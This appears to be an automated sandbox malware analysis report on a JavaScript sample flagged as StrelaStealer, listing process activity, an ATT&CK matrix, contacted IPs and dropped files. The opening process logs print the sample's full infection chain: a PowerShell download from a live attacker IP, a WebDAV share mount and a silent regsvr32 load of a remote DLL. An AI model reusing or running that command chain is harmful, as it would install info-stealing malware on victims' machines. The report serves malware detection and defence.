Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13289966116696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
15108208223119820474.js	8%	Virustotal		Browse
15108208223119820474.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/S.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/C.2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.2206250258.0000025BE2FE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2212204198.00000165B8960000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3434327723.00000165B8C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2206250258.0000025BE2FE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206250258.0000025BE301A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206250258.0000025BE303B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/C.2	net.exe, 00000007.00000002.2206250258.0000025BE301A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/S.	net.exe, 00000007.00000002.2206250258.0000025BE301A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588543
Start date and time:	2025-01-11 02:14:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	15108208223119820474.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.22.41.97, 172.202.163.200, 23.56.162.204, 20.242.39.171, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:15:06	API Interceptor	23x Sleep call for process: powershell.exe modified
20:15:10	API Interceptor	1x Sleep call for process: net.exe modified
20:15:10	API Interceptor	2x Sleep call for process: svchost.exe modified
20:15:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9748121671124198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	795324045931728678.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2314572873239327086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3048426634198639173.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	193581927228935729.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1627923942308705884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1183413479481820270.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263066672935861
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0U:9JZj5MiKNnNhoxu9
MD5:	CFC4AEC92266E37A9968AE2CE0ADFE0D
SHA1:	862E2CB071ED7B9317F811EADA76EB21C7977C4B
SHA-256:	C11CDE2BCE8391E772611C284E32D22F2992AC17EA54C82A95CED1B4AADDBFCF
SHA-512:	DEAD371FEABB60C6D90DECC5C1F5B301995BEF20C8BFAD777B706B0645D5567089F370B45711AC2CC9A58F8DCB8D3AF582704516D535C605B0CDC4797AE54DA1
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x145f26ee, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555749843046692
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	2823DBAF334052B0107AE1F6239A41A1
SHA1:	E3777C6C912D1ED37A82F621216E41E847CFE1A7
SHA-256:	07D8D82BF5BB93EE147005131288C724E196BA4B60BB26DB103A24A6C55BBDEE
SHA-512:	D35CB44AB13D26894B89FB923F285F93326B76B328F03A16148D04C8186C9A7C4F09FB3E65D685660B5579432F075EBADA94B63FC4EEE17EF7951BE4484A0908
Malicious:	false
Preview:	._&.... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................Q......}.....................R.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07993319940693144
Encrypted:	false
SSDEEP:	3:sEYeZ0ISjgGuNaAPaU1l93uqkuuJll/olluxmO+l/SNxOf:LzZ0BuNDPaUV3lku6lAgmOH
MD5:	7145EAB4DDC5776B08A91B027D8215B4
SHA1:	124D6299E5A6C9CD51393802B71E8CD849F1D424
SHA-256:	246896AEF3D753BFEDEBE635E6F76B2FF8972F94B5E28FF7850343CE2E00FFF2
SHA-512:	ABD51A210B7899FB1DCCD4078F3AEE0C6B89C219D1F395F8B404056517D0AD0DB097BB217D78BC8D2D88A342463621D94ED8D16980070BD469F5B30BA24C2EAD
Malicious:	false
Preview:	...t.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?....................R.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.104165370617522
Encrypted:	false
SSDEEP:	6:iO4qVpv2FIq2PN72nKuAl9OmbnIFUtSqVp7RhZmwsqVp7R7kwON72nKuAl9Ombjd:7nl2FIvVaHAahFUtZjh/Lj75OaHAaSJ
MD5:	31B1949F83955F4C8BC4D3FBD5CEBE84
SHA1:	35D7EB6E4984413F6B4AEF54C976047EE15B3D28
SHA-256:	B5C77A2F7DEB379C977ABEC70118EB0567174A2F78D526055C1A0DC3EB19659D
SHA-512:	B319843C1DE80EB4E71D1252184ADD5880CD06F8C933B1CA263992A05282DAC96CE2431286C0B749B7421A7E737F8CEB45929E315BCD3E5C59347FCCF7934DC1
Malicious:	false
Preview:	2025/01/10-20:15:10.440 1740 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:15:10.443 1740 Recovering log #3.2025/01/10-20:15:10.443 1740 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.104165370617522
Encrypted:	false
SSDEEP:	6:iO4qVpv2FIq2PN72nKuAl9OmbnIFUtSqVp7RhZmwsqVp7R7kwON72nKuAl9Ombjd:7nl2FIvVaHAahFUtZjh/Lj75OaHAaSJ
MD5:	31B1949F83955F4C8BC4D3FBD5CEBE84
SHA1:	35D7EB6E4984413F6B4AEF54C976047EE15B3D28
SHA-256:	B5C77A2F7DEB379C977ABEC70118EB0567174A2F78D526055C1A0DC3EB19659D
SHA-512:	B319843C1DE80EB4E71D1252184ADD5880CD06F8C933B1CA263992A05282DAC96CE2431286C0B749B7421A7E737F8CEB45929E315BCD3E5C59347FCCF7934DC1
Malicious:	false
Preview:	2025/01/10-20:15:10.440 1740 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:15:10.443 1740 Recovering log #3.2025/01/10-20:15:10.443 1740 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.109281030009016
Encrypted:	false
SSDEEP:	6:iO4qVpqd39+q2PN72nKuAl9Ombzo2jMGIFUtSqVpgt5ZmwsqVpBz9VkwON72nKuA:7ngd34vVaHAa8uFUtZM5/LPn5OaHAa8z
MD5:	F08B924F701C16C948D3A337A9832725
SHA1:	5369D282F46598E9C9420AF3DE1779C63ADD483A
SHA-256:	76294A0B1DDC185015FADE7C4C24A4677FA1992964E0B9CDF4D8428410C6E3E0
SHA-512:	BB0085459256CAF54A060C228E9B1EED9E16BAE146AB8305D0B68683DB96971D57D71F8792A42F786FCB605424C8769BBE051D93577B3C89B5965E2CAC35F3B4
Malicious:	false
Preview:	2025/01/10-20:15:10.596 aa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:15:10.598 aa8 Recovering log #3.2025/01/10-20:15:10.599 aa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.109281030009016
Encrypted:	false
SSDEEP:	6:iO4qVpqd39+q2PN72nKuAl9Ombzo2jMGIFUtSqVpgt5ZmwsqVpBz9VkwON72nKuA:7ngd34vVaHAa8uFUtZM5/LPn5OaHAa8z
MD5:	F08B924F701C16C948D3A337A9832725
SHA1:	5369D282F46598E9C9420AF3DE1779C63ADD483A
SHA-256:	76294A0B1DDC185015FADE7C4C24A4677FA1992964E0B9CDF4D8428410C6E3E0
SHA-512:	BB0085459256CAF54A060C228E9B1EED9E16BAE146AB8305D0B68683DB96971D57D71F8792A42F786FCB605424C8769BBE051D93577B3C89B5965E2CAC35F3B4
Malicious:	false
Preview:	2025/01/10-20:15:10.596 aa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:15:10.598 aa8 Recovering log #3.2025/01/10-20:15:10.599 aa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5e0f87.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec5c61c0-9360-4333-b954-229b5a9f1c62.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959037187462871
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqC22sBdOg2HQcaq3QYiubcP7E4TX:Y2sRdsmdMHb3QYhbA7n7
MD5:	AF75A0C1648CB7F7947628F20D70DA14
SHA1:	4C8EE6ED4E22DFB861E6155DB560907E129FF010
SHA-256:	16D13A69D5B294B46F7CF45D3387EFA8D8CFB25BF30EA3716A1F6D2F29749170
SHA-512:	876BE379E29DC70FE37B393C7894A5EA049ABC48CDED162AD73460EA0035CF3BA95013DBA26BA5A81B39436737788095A755A0DA8873D9799556932C511B31E0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118122014945","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129460},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fd0f7c1f-1614-47eb-aa1e-a61c2375c3ca.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.253414346107413
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7WpwxS:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhY
MD5:	FFBED35040372525371BF51CD188C10D
SHA1:	0021C4D6C0116436C933229E12B806BA93AB062A
SHA-256:	F2AB8377474FC2FD491D7412B39D4EFC787FED3CEBE45BF29581554DA7EBB40D
SHA-512:	14D8DDE6640F272F5F5137AD83083A4FD1589C949FE664D0F9A98FA9ED44447BAD7F92FD799704BC9F08955BA9211A0FDFE1028A6151CC2C1C066DFD9483BB3D
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.0934183539115665
Encrypted:	false
SSDEEP:	6:iO4qVpV7t+q2PN72nKuAl9OmbzNMxIFUtSqVpQ1JZmwsqVpRZVkwON72nKuAl9Ob:7nXovVaHAa8jFUtZ+J/L/5OaHAa84J
MD5:	DE25D09D153BC0C70D1A14A08B804478
SHA1:	E1AB0D30AFCCBDB923F98D702E5D4E859AD5F159
SHA-256:	FBB9C1F2F8F628CF348C50EA316E43B29E651A6B93D4E9695E4BD3A8CD300B68
SHA-512:	84EF540ED71D1C20D14D7ECF1A64982A68D1D872AE793F62B511324D236BC1453071714648E94FD1685B5F7B02854C16EEE069C6670667B3B20AF0FFF5F2E52F
Malicious:	false
Preview:	2025/01/10-20:15:11.033 aa8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:15:11.036 aa8 Recovering log #3.2025/01/10-20:15:11.037 aa8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.0934183539115665
Encrypted:	false
